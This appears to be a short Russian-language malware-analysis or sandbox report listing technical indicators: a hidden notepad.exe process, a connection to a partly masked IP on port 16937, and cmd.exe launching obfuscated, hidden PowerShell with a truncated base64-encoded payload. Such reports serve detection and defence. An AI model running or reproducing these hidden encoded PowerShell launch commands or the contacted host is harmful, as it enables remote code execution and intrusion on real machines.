Техническая информация
- %WINDIR%\syswow64\notepad.exe
- '3.###.187.220':16937
- '3.###.187.220':16937
- '%WINDIR%\syswow64\notepad.exe' ' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c start /b /min p^o^wer^sh^ell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACc...
- '%WINDIR%\syswow64\notepad.exe'